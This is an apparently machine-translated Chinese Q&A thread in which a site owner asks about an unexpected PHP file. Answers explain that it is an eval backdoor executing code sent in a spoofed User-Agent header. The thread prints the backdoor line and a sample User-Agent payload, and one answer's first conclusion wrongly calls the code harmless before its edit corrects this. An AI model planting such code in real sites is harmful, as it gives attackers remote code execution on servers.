0

我今天正在寻求您的帮助,以获取有关我今天早上在 FTP 中创建的文件的帮助。我不是所有这些 PHP 函数的专业人士,所以这就是我在这里发布它的原因。

我发现的是一个名为index.php的文件,位于 sub-images 文件夹中。

有原始代码:

<?php

if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }

?>

两个 PHP 函数

对于函数eval()他们说它非常危险。

注意eval() 语言结构非常危险,因为它允许执行任意 PHP 代码。因此不鼓励使用它。如果您已仔细验证除了使用此构造之外别无选择,请特别注意不要将任何用户提供的数据传入其中,而无需事先正确验证。

这就是为什么我认为这可能是某些人试图入侵我的网站甚至更多的原因。

任何人都有能力对此进行解码并向我解释吗?

谢谢,

4

2 回答 2

3

是的,它是一个简单的 eval 后门,安装后有人可以随时回来并使用您的服务器进行任何他们想要的邪恶活动。

它接受以 开头的用户代理字符串Mozilla/5.0 (3.1.final)(这不是真正的用户代理字符串),并将字符串的其余部分视为通过eval调用执行的 PHP 代码。

(奇怪的是他们为此使用了用户代理,因为该字段通常记录在标准 Web 日志中。使用 POST 字段或 cookie 会更加隐蔽。)

于 2014-10-30T14:38:34.203 回答
2

让我们从头开始。

  • eregi自 PHP 5.3.0 起已弃用的函数。
  • eregi是不区分大小写的正则表达式。

那么,它在做什么呢?

if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) {

如果final在 中HTTP_USER_AGENT,那么....

将 'Mozilla/5.0 (3.1.final)' 替换为HTTP_USER_AGENT. 并杀死脚本。

结论

它在更改您网站上的数据方面是无效的,但会使您的网站对任何final在其用户代理中使用该词的人“死” ——我认为,这将是每个主要浏览器的所有最终版本;虽然我找不到任何来源。

编辑

eval让我想知道。因为很明显你没有把它放在这里,所以eval会评估代码并执行它——这是攻击的一个问题。某人要在您的站点上执行远程代码的唯一方法是“欺骗”他们的用户代理,以确保他们Mozilla/5.0 (3.1.final)在其中有短语,然后是他们想要执行的所有代码。例如;

我欺骗我的用户代理成为

Mozilla/5.0 (3.1.final)  echo 'Lol, you got hacked'

由于str_replace,屏幕将只呈现单词Lol, you got hacked,因为eval将执行echo. 当然,攻击者会放置更多有害的命令进行评估。立即删除此代码

于 2014-10-30T14:28:00.490 回答